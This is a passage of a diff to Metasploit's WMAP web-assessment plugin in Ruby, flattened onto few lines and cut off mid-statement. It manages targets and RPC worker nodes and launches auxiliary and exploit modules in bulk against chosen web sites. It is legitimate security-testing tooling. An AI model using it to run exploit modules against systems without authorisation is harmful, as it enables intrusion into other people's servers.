Print Tree structure. Still ugly - # - - def print_tree(tree, ip, maxlevel, limitlevel) - initab = " " * 4 - indent = 6 - if tree != nil and tree.depth <= maxlevel - print initab + (" " * indent * tree.depth) - if tree.depth > 0 - print "|"+("-" * (indent-1))+"/" - end - if tree.depth >= 0 - if tree.depth == 0 - print "[#{tree.name}] (#{ip})\n"+initab+(" " * indent)+"\n" - - else - c = tree.children.count - if c > 0 - print tree.name + " (" + c.to_s+")\n" - else - print tree.name + "\n" - end - end - end - - tree.children.each_pair do |name,child| - print_tree(child,ip,maxlevel,limitlevel) - end - - end - end - - def signature(fpath,fquery) - hsig = Hash.new() - - hsig = queryparse(fquery) - - # - # Signature of the form ',p1,p2,pn' then to be appended to path: path,p1,p2,pn - # - - sigstr = fpath + "," + hsig.map{|p| p[0].to_s}.join(",") - end - - def queryparse(query) - params = Hash.new() - - query.split(/[&;]/n).each do |pairs| - key, value = pairs.split('=',2) - if params.has_key?(key) - #Error - else - params[key] = value - end - end - params - end - - def rpc_add_node(host,port,ssl,user,pass,bypass_exist) - - if not self.rpcarr - self.rpcarr = Hash.new() - end - - begin - istr = "#{host}|#{port}|#{ssl}|#{user}|#{pass}" - if self.rpcarr.has_key?(istr) and not bypass_exist and self.rpcarr[istr] != nil - print_error("Connection already exists #{istr}") - else - begin - temprpc = ::Msf::RPC::Client.new( - :host => host, - :port => port, - :ssl => ssl - ) - rescue - print_error "Unable to connect" - #raise ConnectionError - return - end - - res = temprpc.login( user , pass) - - if not res - print_error("Unable to authenticate to #{host}:#{port}.") - return - else - res = temprpc.call('core.version') - end - - print_status("Connected to #{host}:#{port} [#{res['version']}].") - self.rpcarr[istr] = temprpc - end - rescue - print_error("Unable to connect") - end - end - - def local_module_exec(mod,mtype, opts, nmaxjobs) - jobify = false - - modinst = framework.modules.create(mod) - - if(not modinst) - print_error("Unknown module") - return - end - - sess = nil - - case mtype - when 'auxiliary' - Msf::Simple::Auxiliary.run_simple(modinst, { - 'Action' => opts['ACTION'], - 'LocalOutput' => driver.output, - 'RunAsJob' => jobify, - 'Options' => opts - }) - when 'exploit' - if not opts['PAYLOAD'] - opts['PAYLOAD'] = WmapCommandDispatcher::Exploit.choose_payload(modinst, opts['TARGET']) - end - - sess = Msf::Simple::Exploit.exploit_simple(modinst, { - 'Payload' => opts['PAYLOAD'], - 'Target' => opts['TARGET'], - 'LocalOutput' => driver.output, - 'RunAsJob' => jobify, - 'Options' => opts - }) - else - print_error("Wrong mtype.") - end - - if sess - if (jobify == false and sess.interactive?) - print_line - driver.run_single("sessions -q -i #{sess.sid}") - else - print_status("Session #{sess.sid} created in the background.") - end - end - end - - def rpc_round_exec(mod,mtype, opts, nmaxjobs) - - res = nil - idx = 0 - - if active_rpc_nodes == 0 - if not self.runlocal - print_error("All active nodes not working or removed") - return - end - res = true - else - rpc_reconnect_nodes() - end - - if self.masstop - return - end - - while not res - if active_rpc_nodes == 0 - print_error("All active nodes not working or removed") - return - end - - #find the node with less jobs load. - minjobs = nmaxjobs - minconn = nil - nid = 0 - self.rpcarr.each do |k,rpccon| - if not rpccon - print_error("Skipping inactive node #{nid} #{k}") - else - begin - currentjobs = rpccon.call('job.list').length - - if currentjobs < minjobs - minconn = rpccon - minjobs = currentjobs - end - - if currentjobs == nmaxjobs - if self.nmaxdisplay == false - print_error("Node #{nid} reached max number of jobs #{nmaxjobs}") - print_error("Waiting for available node/slot...") - self.nmaxdisplay = true - end - end - #print_status("Node #{nid} #currentjobs #{currentjobs} #min #{minjobs}") - rescue - print_error("Unable to connect. Node #{tarr[0]}:#{tarr[1]}") - self.rpcarr[k]=nil - - if active_rpc_nodes == 0 - print_error("All active nodes ,not working or removed") - return - else - print_error("Sending job to next node") - next - end - end - end - nid += 1 - end - - if minjobs < nmaxjobs - res=minconn.call('module.execute', mtype, mod, opts) - self.nmaxdisplay = false - #print_status(">>>#{res} #{mod}") - - if res - if res.has_key?("job_id") - return - else - print_error("Unable to execute module in node #{k} #{res}") - end - end - else - #print_status("Max number of jobs #{nmaxjobs} reached in node #{k}") - end - - idx += 1 - end - - if self.runlocal and not self.masstop - local_module_exec(mod,mtype, opts, nmaxjobs) - end - end - - def rpc_db_nodes(host,port,user,pass,name) - rpc_reconnect_nodes() - - if active_rpc_nodes == 0 - print_error("No active nodes at this time") - return - end - - self.rpcarr.each do |k,v| - if v - res = v.call('db.driver',{:driver => 'postgresql'}) - res = v.call('db.connect',{:database => name, :host => host, :port => port, :username => user, :password => pass}) - res = v.call('db.status') - - if res['db'] == name - print_status("db_connect #{res} #{host}:#{port} OK") - else - print_error("Error db_connect #{res} #{host}:#{port}") - end - else - print_error("No connection to node #{k}") - end - end - end - - def rpc_reconnect_nodes() - begin - # Sucky 5 mins token timeout. - - idx = nil - self.rpcarr.each do |k,rpccon| - if rpccon - idx = k - begin - currentjobs = rpccon.call('job.list').length - rescue - tarr = k.split("|") - rflag = false - - res = rpccon.login(tarr[3],tarr[4]) - - if res - rflag = true - print_error("Reauth to node #{tarr[0]}:#{tarr[1]}") - break - else - raise ConnectionError - end - end - end - end - rescue - print_error("ERROR CONNECTING TO NODE. Disabling #{idx} use wmap_nodes -a to reconnect") - self.rpcarr[idx] = nil - if active_rpc_nodes == 0 - print_error("No active nodes") - self.masstop = true - else - #blah - end - end - end - - def rpc_kill_node(i,j) - - if not i - print_error("Nodes not defined") - return - end - - if not j - print_error("Node jobs defined") - return - end - - rpc_reconnect_nodes() - - if active_rpc_nodes == 0 - print_error("No active nodes at this time") - return - end - - idx=0 - self.rpcarr.each do |k,rpccon| - if idx == i.to_i or i.upcase == 'ALL' - #begin - if not rpccon - print_error("No connection to node #{idx}") - else - n = rpccon.call('job.list') - n.each do |id,name| - if j==id.to_s or j.upcase == 'ALL' - rpccon.call('job.stop',id) - print_status("Node #{idx} Killed job id #{id} #{name}") - end - end - end - #rescue - # print_error("No connection") - #end - end - idx += 1 - end - end - - def rpc_view_jobs() - indent = ' ' - - rpc_reconnect_nodes() - - if active_rpc_nodes == 0 - print_error("No active nodes at this time") - return - end - - idx=0 - self.rpcarr.each do |k,rpccon| - if not rpccon - print_status("[Node ##{idx}: #{k} DISABLED/NO CONNECTION]") - else - - arrk = k.split('|') - print_status("[Node ##{idx}: #{arrk[0]} Port:#{arrk[1]} SSL:#{arrk[2]} User:#{arrk[3]}]") - - begin - n = rpccon.call('job.list') - - tbl = Rex::Ui::Text::Table.new( - 'Indent' => indent.length, - 'Header' => 'Jobs', - 'Columns' => - [ - 'Id', - 'Job name', - 'Target', - 'PATH', - ]) - - n.each do |id,name| - jinfo = rpccon.call('job.info',id) - dstore = jinfo['datastore'] - tbl << [ id.to_s, name,dstore['VHOST']+":"+dstore['RPORT'],dstore['PATH']] - end - - print_status tbl.to_s + "\n" - - rescue - print_status("[Node ##{idx} #{k} DISABLED/NO CONNECTION]") - end - end - idx += 1 - end - end - - - # Modified from http://stackoverflow.com/questions/946738/detect-key-press-non-blocking-w-o-getc-gets-in-ruby - def quit? - begin - while c = driver.input.read_nonblock(1) - print_status("Quited") - return true if c == 'Q' - end - false - rescue Errno::EINTR - false - rescue Errno::EAGAIN - false - rescue EOFError - true - end - end - - def rpc_mon_nodes() - # Pretty monitor - - color = self.opts["ConsoleDriver"].output.supports_color? rescue false - - colors = [ - '%grn', - '%blu', - '%yel', - '%whi' - ] - - #begin - loop do - rpc_reconnect_nodes() - - idx = 0 - self.rpcarr.each do |k,rpccon| - - arrk = k.split('|') - - v = "NOCONN" - n = 1 - c = '%red' - - if not rpccon - v = "NOCONN" - n = 1 - c = '%red' - else - begin - v = "" - c = '%blu' - rescue - v = "ERROR" - c = '%red' - end - - begin - n = rpccon.call('job.list').length - c = '%blu' - rescue - n = 1 - v = "NOCONN" - c = '%red' - end - end - - #begin - if not @stdio - @stdio = Rex::Ui::Text::Output::Stdio.new - end - - if color == true - @stdio.auto_color - else - @stdio.disable_color - end - msg = "[#{idx}] #{"%bld#{c}||%clr"*n} #{n} #{v}\n" - @stdio.print_raw(@stdio.substitute_colors(msg)) - - #rescue - #blah - #end - sleep(2) - idx += 1 - end - end - #rescue - # print_status("End.") - #end - end - - def rpc_list_nodes() - indent = ' ' - - tbl = Rex::Ui::Text::Table.new( - 'Indent' => indent.length, - 'Header' => 'Nodes', - 'Columns' => - [ - 'Id', - 'Host', - 'Port', - 'SSL', - 'User', - 'Pass', - 'Status', - '#jobs', - ]) - - idx=0 - - rpc_reconnect_nodes() - - self.rpcarr.each do |k,rpccon| - - arrk = k.split('|') - - if not rpccon - v = "NOCONN" - n = "" - else - begin - v = rpccon.call('core.version')['version'] - rescue - v = "ERROR" - end - - begin - n = rpccon.call('job.list').length - rescue - n = "" - end - end - - tbl << [ idx.to_s, arrk[0], arrk[1], arrk[2], arrk[3], arrk[4], v, n] - idx += 1 - end - - print_status tbl.to_s + "\n" - end - - def active_rpc_nodes - if self.rpcarr.length == 0 - return 0 - else - idx = 0 - self.rpcarr.each do |k,conn| - if conn - idx += 1 - end - end - return idx - end - end - - def view_modules - indent = ' ' - - wmaptype = [:wmap_ssl, - :wmap_server, - :wmap_dir, - :wmap_file, - :wmap_unique_query, - :wmap_query, - :wmap_generic - ] - - if not self.wmapmodules - load_wmap_modules(true) - end - - wmaptype.each do |modt| - - tbl = Rex::Ui::Text::Table.new( - 'Indent' => indent.length, - 'Header' => modt.to_s, - 'Columns' => - [ - 'Name', - 'OrderID', - ]) - - idx = 0 - self.wmapmodules.each do |w| - oid = w[3] - if w[3] == 0xFFFFFF - oid = ":last" - end - - if w[2] == modt - tbl << [w[0],oid] - idx += 1 - end - end - - print_status tbl.to_s + "\n" - end - end - - # Yes sorting hashes dont make sense but actually it does when you are enumerating one. And - # sort_by of a hash returns an array so this is the reason for this ugly piece of code - def sort_by_orderid(m) - temphash=Hash.new() - temparr=[] - - temparr = m.sort_by do |xref,v| - xref[3] - end - - temparr.each do |b| - temphash[b[0]] = b[1] - end - temphash - end - - # Load all wmap modules - def load_wmap_modules(reload) - if reload or not self.wmapmodules - print_status("Loading wmap modules...") - - self.wmapmodules=[] - - idx = 0 - [ [ framework.auxiliary, 'auxiliary' ], [framework.exploits, 'exploit' ] ].each do |mtype| - # Scan all exploit modules for matching references - mtype[0].each_module do |n,m| - e = m.new - - # Only include wmap_enabled plugins - if e.respond_to?("wmap_enabled") - penabled = e.wmap_enabled - - if penabled - self.wmapmodules << [mtype[1]+'/'+n,mtype[1],e.wmap_type,e.orderid] - idx += 1 - end - end - end - end - print_status("#{idx} wmap enabled modules loaded.") - end - end - - def view_vulns - framework.db.hosts.each do |host| - host.services.each do |serv| - serv.web_sites.each do |site| - site.web_vulns.each do |wv| - print_status("+ [#{host.address}] (#{site.vhost}): #{wv.category} #{wv.path}") - print_status("\t#{wv.name} #{wv.description}") - print_status("\t#{wv.method} #{wv.proof}") - end - end - end - end - end - end - - class WebTarget < ::Hash - def to_url - proto = self[:ssl] ? "https" : "http" - "#{proto}://#{self[:host]}:#{self[:port]}#{self[:path]}" - end - end - - - def initialize(framework, opts) - super - - color = self.opts["ConsoleDriver"].output.supports_color? rescue false - - wmapversion = '1.5.1' - - wmapbanner = "%red\n.-.-.-..-.-.-..---..---.%clr\n" - wmapbanner += "%red| | | || | | || | || |-'%clr\n" - wmapbanner += "%red`-----'`-'-'-'`-^-'`-'%clr\n" - wmapbanner += "[WMAP #{wmapversion}] === et [ ] metasploit.com 2012\n" - - if not @stdio - @stdio = Rex::Ui::Text::Output::Stdio.new - end - - if color == true - @stdio.auto_color - else - @stdio.disable_color - end - - @stdio.print_raw(@stdio.substitute_colors(wmapbanner)) - - add_console_dispatcher(WmapCommandDispatcher) - #print_status("#{wmapbanner}") - end - - def cleanup - remove_console_dispatcher('wmap') - end - - def name - "wmap" - end - - def desc - "Web assessment plugin" - end + class WmapCommandDispatcher + + attr_accessor :wmapmodules # Enabled Wmap modules + attr_accessor :targets # Targets + attr_accessor :lastsites # Temp location of previously obtained sites + attr_accessor :rpcarr # Array or rpc connections + attr_accessor :njobs # Max number of jobs + attr_accessor :nmaxdisplay # Flag to stop displaying the same mesg + attr_accessor :runlocal # Flag to run local modules only + attr_accessor :masstop # Flag to stop everything + attr_accessor :killwhenstop # Kill process when exiting + + include Msf::Ui::Console::CommandDispatcher + + def name + "wmap" + end + + # + # The initial command set + # + def commands + { + "wmap_targets" => "Manage targets", + "wmap_sites" => "Manage sites", + "wmap_nodes" => "Manage nodes", + "wmap_run" => "Test targets", + "wmap_modules" => "Manage wmap modules", + "wmap_vulns" => "Display web vulns", + } + end + + def cmd_wmap_vulns(*args) + args.push("-h") if args.length == 0 + + while (arg = args.shift) + case arg + when '-l' + view_vulns + return + when '-h' + print_status("Usage: wmap_vulns [options]") + print_line("\t-h Display this help text") + print_line("\t-l Display web vulns table") + + print_line("") + return + else + print_error("Unknown flag.") + return + end + end + end + + + def cmd_wmap_modules(*args) + args.push("-h") if args.length == 0 + + while (arg = args.shift) + case arg + when '-l' + view_modules + return + when '-r' + load_wmap_modules(true) + return + when '-h' + print_status("Usage: wmap_modules [options]") + print_line("\t-h Display this help text") + print_line("\t-l List all wmap enabled modules") + print_line("\t-r Reload wmap modules") + + print_line("") + return + else + print_error("Unknown flag.") + return + end + end + end + + def cmd_wmap_targets(*args) + args.push("-h") if args.length == 0 + + while (arg = args.shift) + case arg + when '-c' + self.targets = Hash.new() + when '-l' + view_targets + return + when '-t' + process_urls(args.shift) + when '-d' + process_ids(args.shift) + when '-h' + print_status("Usage: wmap_targets [options]") + print_line("\t-h Display this help text") + print_line("\t-t [urls] Define target sites (vhost1,url[space]vhost2,url) ") + print_line("\t-d [ids] Define target sites (id1, id2, id3 ...)") + print_line("\t-c Clean target sites list") + print_line("\t-l List all target sites") + + print_line("") + return + else + print_error("Unknown flag.") + return + end + end + end + + def cmd_wmap_sites(*args) + args.push("-h") if args.length == 0 + + while (arg = args.shift) + case arg + when '-a' + s = add_web_site(args.shift) + if s + print_status("Site created.") + else + print_error("Unable to create site") + end + when '-d' + del_idx = args + if del_idx + delete_sites(del_idx.select {|d| d =~ /^[0-9]*$/}.map(&:to_i).uniq) + return + else + print_error("Provide index of site to delete") + end + when '-l' + view_sites + return + when '-s' + u = args.shift + l = args.shift + s = args.shift + + if not u + return + end + + if l == nil or l.empty? + l = 200 + s = true + else + l = l.to_i + s = false + end + + if u.include? 'http' + # Parameters are in url form + view_site_tree(u,l,s) + else + # Parameters are digits + if !self.lastsites or self.lastsites.length == 0 + view_sites + print_status ("Web sites ids. referenced from previous table.") + end + + target_whitelist = [] + ids = u.to_s.split(/,/) + + ids.each do |id| + next if id.to_s.strip.empty? + + if id.to_i > self.lastsites.length + print_error("Skipping id #{id}...") + else + target_whitelist << self.lastsites[id.to_i] + #print_status("Loading #{self.lastsites[id.to_i]}.") + end + end + + # Skip the DB entirely if no matches + return if target_whitelist.length == 0 + + if not self.targets + self.targets = Hash.new() + end + + target_whitelist.each do |ent| + view_site_tree(ent,l,s) + end + end + return + when '-h' + print_status("Usage: wmap_sites [options]") + print_line("\t-h Display this help text") + print_line("\t-a [url] Add site (vhost,url)") + print_line("\t-d [ids] Delete sites (separate ids with space)") + print_line("\t-l List all available sites") + print_line("\t-s [id] Display site structure (vhost,url|ids) (level)") + + print_line("") + return + else + print_error("Unknown flag.") + return + end + end + end + + def cmd_wmap_nodes(*args) + + if not self.rpcarr + self.rpcarr=Hash.new() + end + + args.push("-h") if args.length == 0 + + while (arg = args.shift) + case arg + when '-a' + h = args.shift + r = args.shift + s = args.shift + u = args.shift + p = args.shift + + res = rpc_add_node(h,r,s,u,p,false) + if res + print_status("Node created.") + else + print_error("Unable to create node") + end + when '-c' + idref = args.shift + + if not idref + print_error("No id defined") + return + end + if idref.upcase == 'ALL' + print_status("All nodes removed") + self.rpcarr = Hash.new() + else + idx=0 + self.rpcarr.each do |k,v| + if idx == idref.to_i + self.rpcarr.delete(k) + print_status("Node deleted #{k}") + end + idx += 1 + end + end + when '-d' + host = args.shift + port = args.shift + user = args.shift + pass = args.shift + dbname = args.shift + + res = rpc_db_nodes(host,port,user,pass,dbname) + if res + print_status("OK.") + else + print_error("Error") + end + when '-l' + rpc_list_nodes + return + when '-j' + rpc_view_jobs + return + when '-k' + node = args.shift + jid = args.shift + rpc_kill_node(node,jid) + return + when '-h' + print_status("Usage: wmap_nodes [options]") + print_line("\t-h Display this help text") + print_line("\t-c id Remove id node (Use ALL for ALL nodes") + print_line("\t-a host port ssl user pass Add node") + print_line("\t-d host port user pass db Force all nodes to connect to db") + print_line("\t-j View detailed jobs") + print_line("\t-k ALL|id ALL|job_id Kill jobs on node") + print_line("\t-l List all current nodes") + + print_line("") + return + else + print_error("Unknown flag.") + return + end + end + end + + def cmd_wmap_run(*args) + # Stop everything + self.masstop = false + self.killwhenstop = true + + trap("INT") { + print_error("Stopping execution...") + self.masstop = true + if self.killwhenstop + rpc_kill_node('ALL','ALL') + end + } + + # Max numbers of concurrent jobs per node + self.njobs = 25 + self.nmaxdisplay = false + self.runlocal = false + + # Formating + sizeline = 60 + + wmap_show = 2**0 + wmap_expl = 2**1 + + # Exclude files can be modified by setting datastore['WMAP_EXCLUDE'] + wmap_exclude_files = '.*\.(gif|jpg|png*)$' + + run_wmap_ssl = true + run_wmap_server = true + run_wmap_dir_file = true + run_wmap_query = true + run_wmap_unique_query = true + run_wmap_generic = true + + # If module supports datastore['VERBOSE'] + moduleverbose = false + + showprogress = false + + if not self.rpcarr + self.rpcarr = Hash.new() + end + + if not run_wmap_ssl + print_status("Loading of wmap ssl modules disabled.") + end + if not run_wmap_server + print_status("Loading of wmap server modules disabled.") + end + if not run_wmap_dir_file + print_status("Loading of wmap dir and file modules disabled.") + end + if not run_wmap_query + print_status("Loading of wmap query modules disabled.") + end + if not run_wmap_unique_query + print_status("Loading of wmap unique query modules disabled.") + end + if not run_wmap_generic + print_status("Loading of wmap generic modules disabled.") + end + + stamp = Time.now.to_f + mode = 0 + + eprofile = [] + using_p = false + using_m = false + usinginipath = false + + mname = '' + inipathname = '/' + + args.push("-h") if args.length == 0 + + while (arg = args.shift) + case arg + when '-t' + mode |= wmap_show + when '-e' + mode |= wmap_expl + + profile = args.shift + + if profile + print_status("Using profile #{profile}.") + + begin + File.open(profile).each do |str| + if not str.include? '#' + # Not a comment + modname = str.strip + if not modname.empty? + eprofile << modname + end + end + using_p = true + end + rescue + print_error("Profile not found or invalid.") + return + end + else + print_status("Using ALL wmap enabled modules.") + end + when '-m' + mode |= wmap_expl + + mname = args.shift + + if mname + print_status("Using module #{mname}.") + end + using_m = true + when '-p' + mode |= wmap_expl + + inipathname = args.shift + + if inipathname + print_status("Using initial path #{inipathname}.") + end + usinginipath = true + + when '-h' + print_status("Usage: wmap_run [options]") + print_line("\t-h Display this help text") + print_line("\t-t Show all enabled modules") + print_line("\t-m [regex] Launch only modules that name match provided regex.") + print_line("\t-p [regex] Only test path defined by regex.") + print_line("\t-e [/path/to/profile] Launch profile modules against all matched targets.") + print_line("\t (No profile file runs all enabled modules.)") + print_line("") + return + else + print_error("Unknown flag") + return + end + end + + if (self.rpcarr.length == 0) and (mode & wmap_show == 0) + print_error("NO WMAP NODES DEFINED. Executing local modules") + self.runlocal = true + end + + if self.targets == nil + print_error("Targets have not been selected.") + return + end + + if self.targets.keys.length == 0 + print_error("Targets have not been selected.") + return + end + + execmod = true + if (mode & wmap_show != 0) + execmod = false + end + + self.targets.each_with_index do |t, idx| + + selected_host = t[1][:host] + selected_port = t[1][:port] + selected_ssl = t[1][:ssl] + selected_vhost = t[1][:vhost] + + print_status ("Testing target:") + print_status ("\tSite: #{selected_vhost} (#{selected_host})") + print_status ("\tPort: #{selected_port} SSL: #{selected_ssl}") + print_line '='* sizeline + print_status("Testing started. #{(Time.now )}") + + if not selected_ssl + run_wmap_ssl = false + #print_status ("Target is not SSL. SSL modules disabled.") + end + + # wmap_dir, wmap_file + matches = Hash.new() + + # wmap_server + matches1 = Hash.new() + + # wmap_query + matches2 = Hash.new() + + # wmap_ssl + matches3 = Hash.new() + + # wmap_unique_query + matches5 = Hash.new() + + # wmap_generic + matches10 = Hash.new() + + # OPTIONS + opt_str = nil + jobify = false + + # This will be clean later + load_wmap_modules(false) + + self.wmapmodules.each do |w| + case w[2] + when :wmap_server + if run_wmap_server + matches1[w]=true + end + when :wmap_query + if run_wmap_query + matches2[w]=true + end + when :wmap_unique_query + if run_wmap_unique_query + matches5[w]=true + end + when :wmap_generic + if run_wmap_generic + matches10[w]=true + end + when :wmap_dir, :wmap_file + if run_wmap_dir_file + matches[w]=true + end + when :wmap_ssl + if run_wmap_ssl + matches3[w]=true + end + else + # Black Hole + end + end + + # Execution order (orderid) + matches = sort_by_orderid(matches) + matches1 = sort_by_orderid(matches1) + matches2 = sort_by_orderid(matches2) + matches3 = sort_by_orderid(matches3) + matches5 = sort_by_orderid(matches5) + matches10 = sort_by_orderid(matches10) + + # + # Handle modules that need to be run before all tests IF SERVER is SSL, once usually again the SSL web server. + # :wmap_ssl + # + + print_status "\n=[ SSL testing ]=" + print_line "=" * sizeline + + if not selected_ssl + print_status ("Target is not SSL. SSL modules disabled.") + end + + idx = 0 + matches3.each_key do |xref| + if self.masstop + print_error("STOPPED.") + return + end + + # Module not part of profile or not match + if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) + idx += 1 + + begin + # Module options hash + modopts = Hash.new() + + # + # The code is just a proof-of-concept and will be expanded in the future + # + print_status "Module #{xref[0]}" + + if (mode & wmap_expl != 0) + + # + # For modules to have access to the global datastore + # i.e. set -g DOMAIN test.com + # + self.framework.datastore.each do |gkey,gval| + modopts[gkey]=gval + end + + # + # Parameters passed in hash xref + # + modopts['RHOST'] = selected_host + modopts['RHOSTS'] = selected_host + modopts['RPORT'] = selected_port.to_s + modopts['SSL'] = selected_ssl + modopts['VHOST'] = selected_vhost.to_s + modopts['VERBOSE'] = moduleverbose + modopts['ShowProgress'] = showprogress + modopts['RunAsJob'] = jobify + + begin + if execmod + rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) + end + rescue ::Exception + print_status(" >> Exception during launch from #{xref[0]}: #{$!}") + end + end + + rescue ::Exception + print_status(" >> Exception from #{xref[0]}: #{$!}") + end + end + end + + # + # Handle modules that need to be run before all tests, once usually again the web server. + # :wmap_server + # + print_status "\n=[ Web Server testing ]=" + print_line "=" * sizeline + + idx = 0 + matches1.each_key do |xref| + + if self.masstop + print_error("STOPPED.") + return + end + + # Module not part of profile or not match + if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) + idx += 1 + + begin + # Module options hash + modopts = Hash.new() + + # + # The code is just a proof-of-concept and will be expanded in the future + # + + print_status "Module #{xref[0]}" + + if (mode & wmap_expl != 0) + + # + # For modules to have access to the global datastore + # i.e. set -g DOMAIN test.com + # + self.framework.datastore.each do |gkey,gval| + modopts[gkey]=gval + end + + # + # Parameters passed in hash xref + # + modopts['RHOST'] = selected_host + modopts['RHOSTS'] = selected_host + modopts['RPORT'] = selected_port.to_s + modopts['SSL'] = selected_ssl + modopts['VHOST'] = selected_vhost.to_s + modopts['VERBOSE'] = moduleverbose + modopts['ShowProgress'] = showprogress + modopts['RunAsJob'] = jobify + + begin + if execmod + rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) + end + rescue ::Exception + print_status(" >> Exception during launch from #{xref[0]}: #{$!}") + end + end + + rescue ::Exception + print_status(" >> Exception from #{xref[0]}: #{$!}") + end + end + end + + # + # Handle modules to be run at every path/file + # wmap_dir, wmap_file + # + print_status "\n=[ File/Dir testing ]=" + print_line "=" * sizeline + + idx = 0 + matches.each_key do |xref| + + if self.masstop + print_error("STOPPED.") + return + end + + # Module not part of profile or not match + if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) + idx+=1 + + begin + # Module options hash + modopts = Hash.new() + + # + # The code is just a proof-of-concept and will be expanded in the future + # + + print_status "Module #{xref[0]}" + + if (mode & wmap_expl != 0) + # + # For modules to have access to the global datastore + # i.e. set -g DOMAIN test.com + # + self.framework.datastore.each do |gkey,gval| + modopts[gkey]=gval + end + + # + # Parameters passed in hash xref + # + modopts['RHOST'] = selected_host + modopts['RHOSTS'] = selected_host + modopts['RPORT'] = selected_port.to_s + modopts['SSL'] = selected_ssl + modopts['VHOST'] = selected_vhost.to_s + modopts['VERBOSE'] = moduleverbose + modopts['ShowProgress'] = showprogress + modopts['RunAsJob'] = jobify + + # + # Run the plugins that only need to be + # launched once. + # + + wtype = xref[2] + + h = self.framework.db.workspace.hosts.find_by_address(selected_host) + s = h.services.find_by_port(selected_port) + w = s.web_sites.find_by_vhost(selected_vhost) + + test_tree = load_tree(w) + test_tree.each do |node| + + if self.masstop + print_error("STOPPED.") + return + end + + p = node.current_path + testpath = Pathname.new(p) + strpath = testpath.cleanpath(false).to_s + + # + # Fixing paths + # + + if node.is_leaf? and not node.is_root? + # + # Later we can add here more checks to see if its a file + # + else + if node.is_root? + strpath = "/" + else + strpath = strpath.chomp + "/" + end + end + + strpath = strpath.gsub("//", "/") + #print_status("Testing path: #{strpath}") + + # + # Launch plugin depending module type. + # Module type depends on main input type. + # Code may be the same but it depend on final + # versions of plugins + # + + case wtype + when :wmap_file + if node.is_leaf? and not node.is_root? + # + # Check if an exclusion regex has been defined + # + if self.framework.datastore['WMAP_EXCLUDE'] + excludefilestr = self.framework.datastore['WMAP_EXCLUDE'] + else + excludefilestr = wmap_exclude_files + end + + if not strpath.match(excludefilestr) + if (not usinginipath) or (usinginipath and strpath.match(inipathname)) + modopts['PATH'] = strpath + print_status("Path: #{strpath}") + + begin + if execmod + rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) + end + rescue ::Exception + print_status(" >> Exception during launch from #{xref[0]}: #{$!}") + end + end + end + end + when :wmap_dir + if (node.is_leaf? and not strpath.include? ".") or node.is_root? or not node.is_leaf? + if (not usinginipath) or (usinginipath and strpath.match(inipathname)) + + modopts['PATH'] = strpath + print_status("Path: #{strpath}") + + begin + if execmod + rpcnode = rpc_round_exec(xref[0],xref[1], modopts, njobs) + end + rescue ::Exception + print_status(" >> Exception during launch from #{xref[0]}: #{$!}") + end + end + end + end + end + end + rescue ::Exception + print_status(" >> Exception from #{xref[0]}: #{$!}") + end + end + end + + # + # Run modules for each request to play with URI with UNIQUE query parameters. + # wmap_unique_query + # + print_status "\n=[ Unique Query testing ]=" + print_line "=" * sizeline + + idx = 0 + matches5.each_key do |xref| + + if self.masstop + print_error("STOPPED.") + return + end + + # Module not part of profile or not match + if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) + idx += 1 + + begin + # Module options hash + modopts = Hash.new() + + # + # The code is just a proof-of-concept and will be expanded in the future + # + + print_status "Module #{xref[0]}" + + if (mode & wmap_expl != 0) + # + # For modules to have access to the global datastore + # i.e. set -g DOMAIN test.com + # + self.framework.datastore.each do |gkey,gval| + modopts[gkey]=gval + end + + # + # Parameters passed in hash xref + # + + modopts['RHOST'] = selected_host + modopts['RHOSTS'] = selected_host + modopts['RPORT'] = selected_port.to_s + modopts['SSL'] = selected_ssl + modopts['VHOST'] = selected_vhost.to_s + modopts['VERBOSE'] = moduleverbose + modopts['ShowProgress'] = showprogress + modopts['RunAsJob'] = jobify + + # + # Run the plugins for each request that have a distinct + # GET/POST URI QUERY string. + # + + utest_query = Hash.new() + + h = self.framework.db.workspace.hosts.find_by_address(selected_host) + s = h.services.find_by_port(selected_port) + w = s.web_sites.find_by_vhost(selected_vhost) + + w.web_forms.each do |form| + + if self.masstop + print_error("STOPPED.") + return + end + + # + # Only test unique query strings by comparing signature to previous tested signatures 'path,p1,p2,pn' + # + + datastr = "" + typestr = "" + + temparr = [] + + #print_status "---------" + #print_status form.params + #print_status "+++++++++" + + form.params.each do |p| + pn, pv, pt = p + if pn + if not pn.empty? + if not pv or pv.empty? + #TODO add value based on param name + pv = "aaa" + end + + #temparr << pn.to_s + "=" + Rex::Text.uri_encode(pv.to_s) + temparr << pn.to_s + "=" + pv.to_s + end + else + print_error("Blank parameter name. Form #{form.path}") + end + end + + datastr = temparr.join("&") if (temparr and not temparr.empty?) + + if (utest_query.has_key?(signature(form.path,datastr)) == false) + + modopts['METHOD'] = form.method.upcase + modopts['PATH'] = form.path + modopts['QUERY'] = form.query + if form.method.upcase == 'GET' + modopts['QUERY'] = datastr + modopts['DATA'] = "" + end + if form.method.upcase == 'POST' + modopts['DATA'] = datastr + end + modopts['TYPES'] = typestr + + # + # TODO: Add headers, etc. + # + if (not usinginipath) or (usinginipath and form.path.match(inipathname)) + + print_status "Path #{form.path}" + #print_status("Unique PATH #{modopts['PATH']}") + #print_status("Unique GET #{modopts['QUERY']}") + #print_status("Unique POST #{modopts['DATA']}") + #print_status("MODOPTS: #{modopts}") + + begin + if execmod + rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) + end + utest_query[signature(form.path,datastr)]=1 + rescue ::Exception + print_status(" >> Exception during launch from #{xref[0]}: #{$!}") + end + end + else + #print_status("Already tested") + end + end + end + + rescue ::Exception + print_status(" >> Exception from #{xref[0]}: #{$!}") + end + end + end + + # + # Run modules for each request to play with URI query parameters. + # This approach will reduce the complexity of the Tree used before + # and will make this shotgun implementation much simple. + # wmap_query + # + print_status "\n=[ Query testing ]=" + print_line "=" * sizeline + + idx = 0 + matches2.each_key do |xref| + + if self.masstop + print_error("STOPPED.") + return + end + + # Module not part of profile or not match + if not ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and 